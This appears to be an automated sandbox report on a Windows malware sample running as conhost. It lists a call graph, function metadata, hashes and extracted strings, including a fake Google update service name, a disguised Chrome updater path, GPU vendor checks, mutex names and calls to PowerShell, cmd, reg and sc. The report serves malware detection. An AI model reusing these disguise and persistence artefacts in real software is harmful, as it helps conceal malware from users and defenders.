2506 140001394 2 API calls 2505->2506 2507 140001530 2506->2507 2508 140001394 2 API calls 2507->2508 2509 14000153f 2508->2509 2510 140001394 2 API calls 2509->2510 2511 14000154e 2510->2511 2512 140001394 2 API calls 2511->2512 2513 14000155d 2512->2513 2514 140001394 2 API calls 2513->2514 2515 14000156c 2514->2515 2516 140001394 2 API calls 2515->2516 2517 14000157b 2516->2517 2518 140001394 2 API calls 2517->2518 2519 14000158a 2518->2519 2520 140001394 2 API calls 2519->2520 2521 140001599 2520->2521 2522 140001394 2 API calls 2521->2522 2523 1400015a8 2522->2523 2524 140001394 2 API calls 2523->2524 2525 1400015b7 2524->2525 2526 140001394 2 API calls 2525->2526 2527 1400015c6 2526->2527 2528 140001394 2 API calls 2527->2528 2529 1400015d5 2528->2529 2530 140001394 2 API calls 2529->2530 2531 1400015e4 2530->2531 2532 140001394 2 API calls 2531->2532 2533 1400015f3 2532->2533 2533->2290 2535 140001394 2 API calls 2534->2535 2536 14000158a 2535->2536 2537 140001394 2 API calls 2536->2537 2538 140001599 2537->2538 2539 140001394 2 API calls 2538->2539 2540 1400015a8 2539->2540 2541 140001394 2 API calls 2540->2541 2542 1400015b7 2541->2542 2543 140001394 2 API calls 2542->2543 2544 1400015c6 2543->2544 2545 140001394 2 API calls 2544->2545 2546 1400015d5 2545->2546 2547 140001394 2 API calls 2546->2547 2548 1400015e4 2547->2548 2549 140001394 2 API calls 2548->2549 2550 1400015f3 2549->2550 2550->2364 2552 140001394 2 API calls 2551->2552 2553 1400015a8 2552->2553 2554 140001394 2 API calls 2553->2554 2555 1400015b7 2554->2555 2556 140001394 2 API calls 2555->2556 2557 1400015c6 2556->2557 2558 140001394 2 API calls 2557->2558 2559 1400015d5 2558->2559 2560 140001394 2 API calls 2559->2560 2561 1400015e4 2560->2561 2562 140001394 2 API calls 2561->2562 2563 1400015f3 2562->2563 2563->2364 2565 140001394 2 API calls 2564->2565 2566 1400015b7 2565->2566 2567 140001394 2 API calls 2566->2567 2568 1400015c6 2567->2568 2569 140001394 2 API calls 2568->2569 2570 1400015d5 2569->2570 2571 140001394 2 API calls 2570->2571 2572 1400015e4 2571->2572 2573 140001394 2 API calls 2572->2573 2574 1400015f3 2573->2574 2574->2364 2576 140001394 2 API calls 2575->2576 2577 14000147c 2576->2577 2578 140001394 2 API calls 2577->2578 2579 14000148b 2578->2579 2580 140001394 2 API calls 2579->2580 2581 14000149a 2580->2581 2582 140001394 2 API calls 2581->2582 2583 1400014a9 2582->2583 2584 140001394 2 API calls 2583->2584 2585 1400014b8 2584->2585 2586 140001394 2 API calls 2585->2586 2587 1400014c7 2586->2587 2588 140001394 2 API calls 2587->2588 2589 1400014d6 2588->2589 2590 1400014e5 2589->2590 2591 140001394 2 API calls 2589->2591 2592 140001394 2 API calls 2590->2592 2591->2590 2593 1400014ef 2592->2593 2594 1400014f4 2593->2594 2595 140001394 2 API calls 2593->2595 2596 140001394 2 API calls 2594->2596 2595->2594 2597 1400014fe 2596->2597 2598 140001503 2597->2598 2599 140001394 2 API calls 2597->2599 2600 140001394 2 API calls 2598->2600 2599->2598 2601 14000150d 2600->2601 2602 140001394 2 API calls 2601->2602 2603 140001512 2602->2603 2604 140001394 2 API calls 2603->2604 2605 140001521 2604->2605 2606 140001394 2 API calls 2605->2606 2607 140001530 2606->2607 2608 140001394 2 API calls 2607->2608 2609 14000153f 2608->2609 2610 140001394 2 API calls 2609->2610 2611 14000154e 2610->2611 2612 140001394 2 API calls 2611->2612 2613 14000155d 2612->2613 2614 140001394 2 API calls 2613->2614 2615 14000156c 2614->2615 2616 140001394 2 API calls 2615->2616 2617 14000157b 2616->2617 2618 140001394 2 API calls 2617->2618 2619 14000158a 2618->2619 2620 140001394 2 API calls 2619->2620 2621 140001599 2620->2621 2622 140001394 2 API calls 2621->2622 2623 1400015a8 2622->2623 2624 140001394 2 API calls 2623->2624 2625 1400015b7 2624->2625 2626 140001394 2 API calls 2625->2626 2627 1400015c6 2626->2627 2628 140001394 2 API calls 2627->2628 2629 1400015d5 2628->2629 2630 140001394 2 API calls 2629->2630 2631 1400015e4 2630->2631 2632 140001394 2 API calls 2631->2632 2633 1400015f3 2632->2633 2633->2331 2634 140001530 2633->2634 2635 140001394 2 API calls 2634->2635 2636 14000153f 2635->2636 2637 140001394 2 API calls 2636->2637 2638 14000154e 2637->2638 2639 140001394 2 API calls 2638->2639 2640 14000155d 2639->2640 2641 140001394 2 API calls 2640->2641 2642 14000156c 2641->2642 2643 140001394 2 API calls 2642->2643 2644 14000157b 2643->2644 2645 140001394 2 API calls 2644->2645 2646 14000158a 2645->2646 2647 140001394 2 API calls 2646->2647 2648 140001599 2647->2648 2649 140001394 2 API calls 2648->2649 2650 1400015a8 2649->2650 2651 140001394 2 API calls 2650->2651 2652 1400015b7 2651->2652 2653 140001394 2 API calls 2652->2653 2654 1400015c6 2653->2654 2655 140001394 2 API calls 2654->2655 2656 1400015d5 2655->2656 2657 140001394 2 API calls 2656->2657 2658 1400015e4 2657->2658 2659 140001394 2 API calls 2658->2659 2660 1400015f3 2659->2660 2660->2336 2660->2337 2662 140001394 2 API calls 2661->2662 2663 1400014b8 2662->2663 2664 140001394 2 API calls 2663->2664 2665 1400014c7 2664->2665 2666 140001394 2 API calls 2665->2666 2667 1400014d6 2666->2667 2668 1400014e5 2667->2668 2669 140001394 2 API calls 2667->2669 2670 140001394 2 API calls 2668->2670 2669->2668 2671 1400014ef 2670->2671 2672 1400014f4 2671->2672 2673 140001394 2 API calls 2671->2673 2674 140001394 2 API calls 2672->2674 2673->2672 2675 1400014fe 2674->2675 2676 140001503 2675->2676 2677 140001394 2 API calls 2675->2677 2678 140001394 2 API calls 2676->2678 2677->2676 2679 14000150d 2678->2679 2680 140001394 2 API calls 2679->2680 2681 140001512 2680->2681 2682 140001394 2 API calls 2681->2682 2683 140001521 2682->2683 2684 140001394 2 API calls 2683->2684 2685 140001530 2684->2685 2686 140001394 2 API calls 2685->2686 2687 14000153f 2686->2687 2688 140001394 2 API calls 2687->2688 2689 14000154e 2688->2689 2690 140001394 2 API calls 2689->2690 2691 14000155d 2690->2691 2692 140001394 2 API calls 2691->2692 2693 14000156c 2692->2693 2694 140001394 2 API calls 2693->2694 2695 14000157b 2694->2695 2696 140001394 2 API calls 2695->2696 2697 14000158a 2696->2697 2698 140001394 2 API calls 2697->2698 2699 140001599 2698->2699 2700 140001394 2 API calls 2699->2700 2701 1400015a8 2700->2701 2702 140001394 2 API calls 2701->2702 2703 1400015b7 2702->2703 2704 140001394 2 API calls 2703->2704 2705 1400015c6 2704->2705 2706 140001394 2 API calls 2705->2706 2707 1400015d5 2706->2707 2708 140001394 2 API calls 2707->2708 2709 1400015e4 2708->2709 2710 140001394 2 API calls 2709->2710 2711 1400015f3 2710->2711 2711->2347 2712 140001440 2711->2712 2713 140001394 2 API calls 2712->2713 2714 14000144f 2713->2714 2715 140001394 2 API calls 2714->2715 2716 14000145e 2715->2716 2717 140001394 2 API calls 2716->2717 2718 14000146d 2717->2718 2719 140001394 2 API calls 2718->2719 2720 14000147c 2719->2720 2721 140001394 2 API calls 2720->2721 2722 14000148b 2721->2722 2723 140001394 2 API calls 2722->2723 2724 14000149a 2723->2724 2725 140001394 2 API calls 2724->2725 2726 1400014a9 2725->2726 2727 140001394 2 API calls 2726->2727 2728 1400014b8 2727->2728 2729 140001394 2 API calls 2728->2729 2730 1400014c7 2729->2730 2731 140001394 2 API calls 2730->2731 2732 1400014d6 2731->2732 2733 1400014e5 2732->2733 2734 140001394 2 API calls 2732->2734 2735 140001394 2 API calls 2733->2735 2734->2733 2736 1400014ef 2735->2736 2737 1400014f4 2736->2737 2738 140001394 2 API calls 2736->2738 2739 140001394 2 API calls 2737->2739 2738->2737 2740 1400014fe 2739->2740 2741 140001503 2740->2741 2742 140001394 2 API calls 2740->2742 2743 140001394 2 API calls 2741->2743 2742->2741 2744 14000150d 2743->2744 2745 140001394 2 API calls 2744->2745 2746 140001512 2745->2746 2747 140001394 2 API calls 2746->2747 2748 140001521 2747->2748 2749 140001394 2 API calls 2748->2749 2750 140001530 2749->2750 2751 140001394 2 API calls 2750->2751 2752 14000153f 2751->2752 2753 140001394 2 API calls 2752->2753 2754 14000154e 2753->2754 2755 140001394 2 API calls 2754->2755 2756 14000155d 2755->2756 2757 140001394 2 API calls 2756->2757 2758 14000156c 2757->2758 2759 140001394 2 API calls 2758->2759 2760 14000157b 2759->2760 2761 140001394 2 API calls 2760->2761 2762 14000158a 2761->2762 2763 140001394 2 API calls 2762->2763 2764 140001599 2763->2764 2765 140001394 2 API calls 2764->2765 2766 1400015a8 2765->2766 2767 140001394 2 API calls 2766->2767 2768 1400015b7 2767->2768 2769 140001394 2 API calls 2768->2769 2770 1400015c6 2769->2770 2771 140001394 2 API calls 2770->2771 2772 1400015d5 2771->2772 2773 140001394 2 API calls 2772->2773 2774 1400015e4 2773->2774 2775 140001394 2 API calls 2774->2775 2776 1400015f3 2775->2776 2776->2347 2776->2354 2778 1400014e5 2777->2778 2779 140001394 2 API calls 2777->2779 2780 140001394 2 API calls 2778->2780 2779->2778 2781 1400014ef 2780->2781 2782 1400014f4 2781->2782 2783 140001394 2 API calls 2781->2783 2784 140001394 2 API calls 2782->2784 2783->2782 2785 1400014fe 2784->2785 2786 140001503 2785->2786 2787 140001394 2 API calls 2785->2787 2788 140001394 2 API calls 2786->2788 2787->2786 2789 14000150d 2788->2789 2790 140001394 2 API calls 2789->2790 2791 140001512 2790->2791 2792 140001394 2 API calls 2791->2792 2793 140001521 2792->2793 2794 140001394 2 API calls 2793->2794 2795 140001530 2794->2795 2796 140001394 2 API calls 2795->2796 2797 14000153f 2796->2797 2798 140001394 2 API calls 2797->2798 2799 14000154e 2798->2799 2800 140001394 2 API calls 2799->2800 2801 14000155d 2800->2801 2802 140001394 2 API calls 2801->2802 2803 14000156c 2802->2803 2804 140001394 2 API calls 2803->2804 2805 14000157b 2804->2805 2806 140001394 2 API calls 2805->2806 2807 14000158a 2806->2807 2808 140001394 2 API calls 2807->2808 2809 140001599 2808->2809 2810 140001394 2 API calls 2809->2810 2811 1400015a8 2810->2811 2812 140001394 2 API calls 2811->2812 2813 1400015b7 2812->2813 2814 140001394 2 API calls 2813->2814 2815 1400015c6 2814->2815 2816 140001394 2 API calls 2815->2816 2817 1400015d5 2816->2817 2818 140001394 2 API calls 2817->2818 2819 1400015e4 2818->2819 2820 140001394 2 API calls 2819->2820 2821 1400015f3 2820->2821 2821->2384 2823 140001394 2 API calls 2822->2823 2824 140001530 2823->2824 2825 140001394 2 API calls 2824->2825 2826 14000153f 2825->2826 2827 140001394 2 API calls 2826->2827 2828 14000154e 2827->2828 2829 140001394 2 API calls 2828->2829 2830 14000155d 2829->2830 2831 140001394 2 API calls 2830->2831 2832 14000156c 2831->2832 2833 140001394 2 API calls 2832->2833 2834 14000157b 2833->2834 2835 140001394 2 API calls 2834->2835 2836 14000158a 2835->2836 2837 140001394 2 API calls 2836->2837 2838 140001599 2837->2838 2839 140001394 2 API calls 2838->2839 2840 1400015a8 2839->2840 2841 140001394 2 API calls 2840->2841 2842 1400015b7 2841->2842 2843 140001394 2 API calls 2842->2843 2844 1400015c6 2843->2844 2845 140001394 2 API calls 2844->2845 2846 1400015d5 2845->2846 2847 140001394 2 API calls 2846->2847 2848 1400015e4 2847->2848 2849 140001394 2 API calls 2848->2849 2850 1400015f3 2849->2850 2850->2384 2852 140001394 2 API calls 2851->2852 2853 140001431 2852->2853 2854 140001394 2 API calls 2853->2854 2855 140001440 2854->2855 2856 140001394 2 API calls 2855->2856 2857 14000144f 2856->2857 2858 140001394 2 API calls 2857->2858 2859 14000145e 2858->2859 2860 140001394 2 API calls 2859->2860 2861 14000146d 2860->2861 2862 140001394 2 API calls 2861->2862 2863 14000147c 2862->2863 2864 140001394 2 API calls 2863->2864 2865 14000148b 2864->2865 2866 140001394 2 API calls 2865->2866 2867 14000149a 2866->2867 2868 140001394 2 API calls 2867->2868 2869 1400014a9 2868->2869 2870 140001394 2 API calls 2869->2870 2871 1400014b8 2870->2871 2872 140001394 2 API calls 2871->2872 2873 1400014c7 2872->2873 2874 140001394 2 API calls 2873->2874 2875 1400014d6 2874->2875 2876 1400014e5 2875->2876 2877 140001394 2 API calls 2875->2877 2878 140001394 2 API calls 2876->2878 2877->2876 2879 1400014ef 2878->2879 2880 1400014f4 2879->2880 2881 140001394 2 API calls 2879->2881 2882 140001394 2 API calls 2880->2882 2881->2880 2883 1400014fe 2882->2883 2884 140001503 2883->2884 2885 140001394 2 API calls 2883->2885 2886 140001394 2 API calls 2884->2886 2885->2884 2887 14000150d 2886->2887 2888 140001394 2 API calls 2887->2888 2889 140001512 2888->2889 2890 140001394 2 API calls 2889->2890 2891 140001521 2890->2891 2892 140001394 2 API calls 2891->2892 2893 140001530 2892->2893 2894 140001394 2 API calls 2893->2894 2895 14000153f 2894->2895 2896 140001394 2 API calls 2895->2896 2897 14000154e 2896->2897 2898 140001394 2 API calls 2897->2898 2899 14000155d 2898->2899 2900 140001394 2 API calls 2899->2900 2901 14000156c 2900->2901 2902 140001394 2 API calls 2901->2902 2903 14000157b 2902->2903 2904 140001394 2 API calls 2903->2904 2905 14000158a 2904->2905 2906 140001394 2 API calls 2905->2906 2907 140001599 2906->2907 2908 140001394 2 API calls 2907->2908 2909 1400015a8 2908->2909 2910 140001394 2 API calls 2909->2910 2911 1400015b7 2910->2911 2912 140001394 2 API calls 2911->2912 2913 1400015c6 2912->2913 2914 140001394 2 API calls 2913->2914 2915 1400015d5 2914->2915 2916 140001394 2 API calls 2915->2916 2917 1400015e4 2916->2917 2918 140001394 2 API calls 2917->2918 2919 1400015f3 2918->2919 2919->2384 2921 140001394 2 API calls 2920->2921 2922 140001440 2921->2922 2923 140001394 2 API calls 2922->2923 2924 14000144f 2923->2924 2925 140001394 2 API calls 2924->2925 2926 14000145e 2925->2926 2927 140001394 2 API calls 2926->2927 2928 14000146d 2927->2928 2929 140001394 2 API calls 2928->2929 2930 14000147c 2929->2930 2931 140001394 2 API calls 2930->2931 2932 14000148b 2931->2932 2933 140001394 2 API calls 2932->2933 2934 14000149a 2933->2934 2935 140001394 2 API calls 2934->2935 2936 1400014a9 2935->2936 2937 140001394 2 API calls 2936->2937 2938 1400014b8 2937->2938 2939 140001394 2 API calls 2938->2939 2940 1400014c7 2939->2940 2941 140001394 2 API calls 2940->2941 2942 1400014d6 2941->2942 2943 1400014e5 2942->2943 2944 140001394 2 API calls 2942->2944 2945 140001394 2 API calls 2943->2945 2944->2943 2946 1400014ef 2945->2946 2947 1400014f4 2946->2947 2948 140001394 2 API calls 2946->2948 2949 140001394 2 API calls 2947->2949 2948->2947 2950 1400014fe 2949->2950 2951 140001503 2950->2951 2952 140001394 2 API calls 2950->2952 2953 140001394 2 API calls 2951->2953 2952->2951 2954 14000150d 2953->2954 2955 140001394 2 API calls 2954->2955 2956 140001512 2955->2956 2957 140001394 2 API calls 2956->2957 2958 140001521 2957->2958 2959 140001394 2 API calls 2958->2959 2960 140001530 2959->2960 2961 140001394 2 API calls 2960->2961 2962 14000153f 2961->2962 2963 140001394 2 API calls 2962->2963 2964 14000154e 2963->2964 2965 140001394 2 API calls 2964->2965 2966 14000155d 2965->2966 2967 140001394 2 API calls 2966->2967 2968 14000156c 2967->2968 2969 140001394 2 API calls 2968->2969 2970 14000157b 2969->2970 2971 140001394 2 API calls 2970->2971 2972 14000158a 2971->2972 2973 140001394 2 API calls 2972->2973 2974 140001599 2973->2974 2975 140001394 2 API calls 2974->2975 2976 1400015a8 2975->2976 2977 140001394 2 API calls 2976->2977 2978 1400015b7 2977->2978 2979 140001394 2 API calls 2978->2979 2980 1400015c6 2979->2980 2981 140001394 2 API calls 2980->2981 2982 1400015d5 2981->2982 2983 140001394 2 API calls 2982->2983 2984 1400015e4 2983->2984 2985 140001394 2 API calls 2984->2985 2986 1400015f3 2985->2986 2986->2384

                                                                        Callgraph

                                                                        • Executed
                                                                        • Not Executed
                                                                        • Opacity -> Relevance
                                                                        • Disassembly available
                                                                        callgraph 0 Function_00000001400063E1 1 Function_00000001400026E1 2 Function_0000000140001AE4 34 Function_0000000140001D40 2->34 80 Function_0000000140001BA0 2->80 3 Function_00000001400014E5 75 Function_0000000140001394 3->75 4 Function_0000000140002FF0 58 Function_0000000140001370 4->58 5 Function_00000001400010F0 6 Function_00000001400031F1 7 Function_00000001400014F4 7->75 8 Function_0000000140002500 9 Function_0000000140001E00 10 Function_0000000140001000 10->9 42 Function_0000000140001750 10->42 88 Function_0000000140001FB0 10->88 95 Function_0000000140001FC0 10->95 11 Function_0000000140001800 70 Function_0000000140002290 11->70 12 Function_0000000140006401 13 Function_0000000140006601 14 Function_0000000140001503 14->75 15 Function_0000000140001404 15->75 16 Function_0000000140002104 17 Function_0000000140001E10 18 Function_0000000140003210 19 Function_0000000140006311 20 Function_0000000140006511 21 Function_0000000140001512 21->75 22 Function_0000000140002320 23 Function_0000000140002420 24 Function_0000000140001521 24->75 25 Function_0000000140006421 26 Function_0000000140001422 26->75 27 Function_0000000140001530 27->75 28 Function_0000000140003230 29 Function_0000000140001431 29->75 30 Function_0000000140006331 31 Function_000000014000153F 31->75 32 Function_0000000140001440 32->75 33 Function_0000000140001140 49 Function_0000000140001160 33->49 34->70 35 Function_0000000140003141 36 Function_0000000140006441 37 Function_0000000140001F47 57 Function_0000000140001870 37->57 38 Function_0000000140006450 39 Function_0000000140002050 40 Function_0000000140006950 68 Function_0000000140006690 40->68 41 Function_0000000140003250 41->4 41->14 41->24 41->26 41->27 41->29 41->31 41->32 47 Function_000000014000145E 41->47 50 Function_0000000140002660 41->50 54 Function_000000014000156C 41->54 55 Function_000000014000146D 41->55 41->58 64 Function_000000014000157B 41->64 41->68 77 Function_0000000140001599 41->77 85 Function_00000001400015A8 41->85 86 Function_00000001400014A9 41->86 94 Function_00000001400016C0 41->94 101 Function_00000001400027D0 41->101 106 Function_00000001400014D6 41->106 43 Function_0000000140001650 44 Function_0000000140002751 45 Function_0000000140006351 46 Function_000000014000155D 46->75 47->75 48 Function_0000000140001760 107 Function_00000001400020E0 48->107 49->41 49->49 49->57 65 Function_0000000140001880 49->65 69 Function_0000000140001F90 49->69 49->94 51 Function_0000000140002460 52 Function_0000000140003160 53 Function_0000000140001E65 53->57 54->75 55->75 56 Function_000000014000216F 59 Function_0000000140001A70 59->34 59->80 60 Function_0000000140002770 61 Function_0000000140006670 62 Function_0000000140006371 63 Function_0000000140006471 64->75 65->23 65->34 65->50 65->80 66 Function_0000000140003180 67 Function_0000000140006581 71 Function_0000000140002590 72 Function_0000000140002790 73 Function_0000000140002691 74 Function_0000000140006391 75->40 79 Function_00000001400066A0 75->79 76 Function_0000000140002194 76->57 77->75 78 Function_000000014000219E 79->68 80->34 87 Function_00000001400023B0 80->87 100 Function_00000001400024D0 80->100 81 Function_0000000140001FA0 82 Function_00000001400027A0 83 Function_00000001400031A1 84 Function_00000001400064A1 85->75 86->75 89 Function_00000001400022B0 90 Function_00000001400026B0 91 Function_00000001400027B1 92 Function_00000001400065B1 93 Function_0000000140001AB3 93->34 93->80 96 Function_00000001400063C1 97 Function_0000000140001AC3 97->34 97->80 98 Function_00000001400014C7 98->75 99 Function_0000000140001FD0 101->3 101->7 101->14 101->21 101->46 101->47 101->50 101->58 101->68 101->86 101->98 102 Function_00000001400017D0 103 Function_00000001400026D0 104 Function_00000001400064D1 105 Function_0000000140001AD4 105->34 105->80 106->75 108 Function_00000001400017E0 108->107 109 Function_00000001400022E0

                                                                        Executed Functions

                                                                        Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 0 140001394-140001403 call 1400066a0 call 140006950 NtAddAtom
                                                                        APIs
                                                                        • NtAddAtom.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7
                                                                        Memory Dump Source
                                                                        • Source File: 00000039.00000002.3836335953.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                        • Associated: 00000039.00000002.3836305467.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836377986.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836401976.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836435707.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_57_2_140000000_conhost.jbxd
                                                                        Similarity
                                                                        • API ID: Atom
                                                                        • String ID:
                                                                        • API String ID: 2154973765-0
                                                                        • Opcode ID: 76089f1c8a6a43e448fdd7d9bb7fd510ddac4a8738435975e1404729ef16ef08
                                                                        • Instruction ID: bdb90c4048b96c94c325258b529c756cdeb0dde265359f3d0d2f47c381bdd361
                                                                        • Opcode Fuzzy Hash: 76089f1c8a6a43e448fdd7d9bb7fd510ddac4a8738435975e1404729ef16ef08
                                                                        • Instruction Fuzzy Hash: C1F0AFB2608B408AEA12DF62F85179A77A5F38C7C0F009919BBC853735DB3CC190CB40

                                                                        Non-executed Functions

                                                                        Function 0000000140003250 Relevance: 152.6, APIs: 62, Strings: 24, Instructions: 2085COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000039.00000002.3836335953.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                        • Associated: 00000039.00000002.3836305467.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836377986.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836401976.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836435707.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_57_2_140000000_conhost.jbxd
                                                                        Similarity
                                                                        • API ID: memsetwcslen$wcscatwcscpy$_wcsnicmp
                                                                        • String ID: $ $AMD$ATI$Advanced Micro Devices$ImagePath$NVIDIA$PROGRAMDATA=$ProviderName$SYSTEMROOT=$Start$\??\$\??\$\BaseNamedObjects\bgjijzsmuwcxulxiguezflvb$\BaseNamedObjects\nxhbageuwj$\BaseNamedObjects\pyuadpzaqmicymrm$\GoogleUP\Chrome\Updater.exe$\Registry\Machine\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\$\Registry\Machine\SYSTEM\CurrentControlSet\Services\GoogleUpdateTaskMachineK$\System32$\WindowsPowerShell\v1.0\powershell.exe$\cmd.exe$\reg.exe$\sc.exe
                                                                        • API String ID: 3506639089-2644899857
                                                                        • Opcode ID: 462d5c35c254b6e6e329c43571361d1885cde8b1f7dc4672cf0a73e176627a72
                                                                        • Instruction ID: 898a1ec7dd7c9a1f843ae3b3e27844a62abb68b8b1eab08d8124d85d7b0156d3
                                                                        • Opcode Fuzzy Hash: 462d5c35c254b6e6e329c43571361d1885cde8b1f7dc4672cf0a73e176627a72
                                                                        • Instruction Fuzzy Hash: 9B5328F1924BC198F723CB3AB8567E56360BB9E3C4F445316BB84676B2EB794285C304
                                                                        Function 00000001400027D0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 376COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 384 1400027d0-14000282b call 140002660 memset 387 140002831-14000283b 384->387 388 1400028fe-14000294e call 14000155d 384->388 389 140002864-14000286a 387->389 393 140002a43-140002a6b call 1400014c7 388->393 394 140002954-140002963 388->394 389->388 392 140002870-140002877 389->392 395 140002879-140002882 392->395 396 140002840-140002842 392->396 411 140002a76-140002ab8 call 140001503 call 140006690 memset 393->411 412 140002a6d 393->412 397 140002fa7-140002fe4 call 140001370 394->397 398 140002969-140002978 394->398 401 140002884-14000289b 395->401 402 1400028e8-1400028eb 395->402 399 14000284a-14000285e 396->399 403 1400029d4-140002a3e wcsncmp call 1400014e5 398->403 404 14000297a-1400029cd 398->404 399->388 399->389 407 1400028e5 401->407 408 14000289d-1400028b2 401->408 402->399 403->393 404->403 407->402 413 1400028c0-1400028c7 408->413 420 140002f39-140002f74 call 140001370 411->420 421 140002abe-140002ac5 411->421 412->411 414 1400028c9-1400028e3 413->414 415 1400028f0-1400028f9 413->415 414->407 414->413 415->399 423 140002ac7-140002afc 420->423 428 140002f7a 420->428 422 140002b03-140002b33 wcscpy wcscat wcslen 421->422 421->423 425 140002b35-140002b66 wcslen 422->425 426 140002b68-140002b95 422->426 423->422 429 140002b98-140002baf wcslen 425->429 426->429 428->422 430 140002bb5-140002bc8 429->430 431 140002f7f-140002f9b call 140001370 429->431 433 140002be5-140002eeb wcslen call 1400014a9 * 2 call 1400014f4 call 1400014c7 * 2 call 14000145e * 3 430->433 434 140002bca-140002bde 430->434 431->397 452 140002eed-140002f0b call 140001512 433->452 453 140002f10-140002f38 call 14000145e 433->453 434->433 452->453
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000039.00000002.3836335953.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                        • Associated: 00000039.00000002.3836305467.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836377986.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836401976.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836435707.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_57_2_140000000_conhost.jbxd
                                                                        Similarity
                                                                        • API ID: wcslen$memset$wcscatwcscpywcsncmp
                                                                        • String ID: 0$X$\BaseNamedObjects\pyuadpzaqmicymrm$`
                                                                        • API String ID: 780471329-1580679548
                                                                        • Opcode ID: 0fece43f2c9d093e6e7852c5209f4ad3c0577b89fc8ac1a1272a91f58e49894b
                                                                        • Instruction ID: 33c2791fdfb7acfbb72994536c831d49faf6fe367a90cb38570bcc0456ec6b28
                                                                        • Opcode Fuzzy Hash: 0fece43f2c9d093e6e7852c5209f4ad3c0577b89fc8ac1a1272a91f58e49894b
                                                                        • Instruction Fuzzy Hash: 971259B2618B8081E762CB16F8453EA77A4F789794F414215EBAC57BF5EF78C189C700
                                                                        Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130sleepstringCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000039.00000002.3836335953.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                        • Associated: 00000039.00000002.3836305467.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836377986.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836401976.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836435707.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_57_2_140000000_conhost.jbxd
                                                                        Similarity
                                                                        • API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
                                                                        • String ID:
                                                                        • API String ID: 2643109117-0
                                                                        • Opcode ID: 7de2c24a8f347e5fd4d91491675bce44879358130808f9b76e4418a5deae7a7c
                                                                        • Instruction ID: e3af164a46801bbef262b6a8a4866c47f9f764d97e1d0cd31dd449a17f21abfe
                                                                        • Opcode Fuzzy Hash: 7de2c24a8f347e5fd4d91491675bce44879358130808f9b76e4418a5deae7a7c
                                                                        • Instruction Fuzzy Hash: 125101F1615A4089FA16EF27F9947EA27A5AB8C7D0F449125FB4E873B2DF3884958300
                                                                        Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106memoryCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 498 140001ba0-140001bc0 499 140001bc2-140001bd7 498->499 500 140001c09 498->500 501 140001be9-140001bf1 499->501 502 140001c0c-140001c17 call 1400023b0 500->502 503 140001bf3-140001c02 501->503 504 140001be0-140001be7 501->504 509 140001cf4-140001cfe call 140001d40 502->509 510 140001c1d-140001c6c call 1400024d0 VirtualQuery 502->510 503->504 506 140001c04 503->506 504->501 504->502 508 140001cd7-140001cf3 memcpy 506->508 514 140001d03-140001d1e call 140001d40 509->514 510->514 516 140001c72-140001c79 510->516 517 140001d23-140001d38 GetLastError call 140001d40 514->517 518 140001c7b-140001c7e 516->518 519 140001c8e-140001c97 516->519 521 140001cd1 518->521 522 140001c80-140001c83 518->522 523 140001ca4-140001ccf VirtualProtect 519->523 524 140001c99-140001c9c 519->524 521->508 522->521 526 140001c85-140001c8a 522->526 523->517 523->521 524->521 527 140001c9e 524->527 526->521 528 140001c8c 526->528 527->523 528->527
                                                                        APIs
                                                                        • VirtualQuery.KERNEL32(?,?,?,?,0000000140007E60,0000000140007E60,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
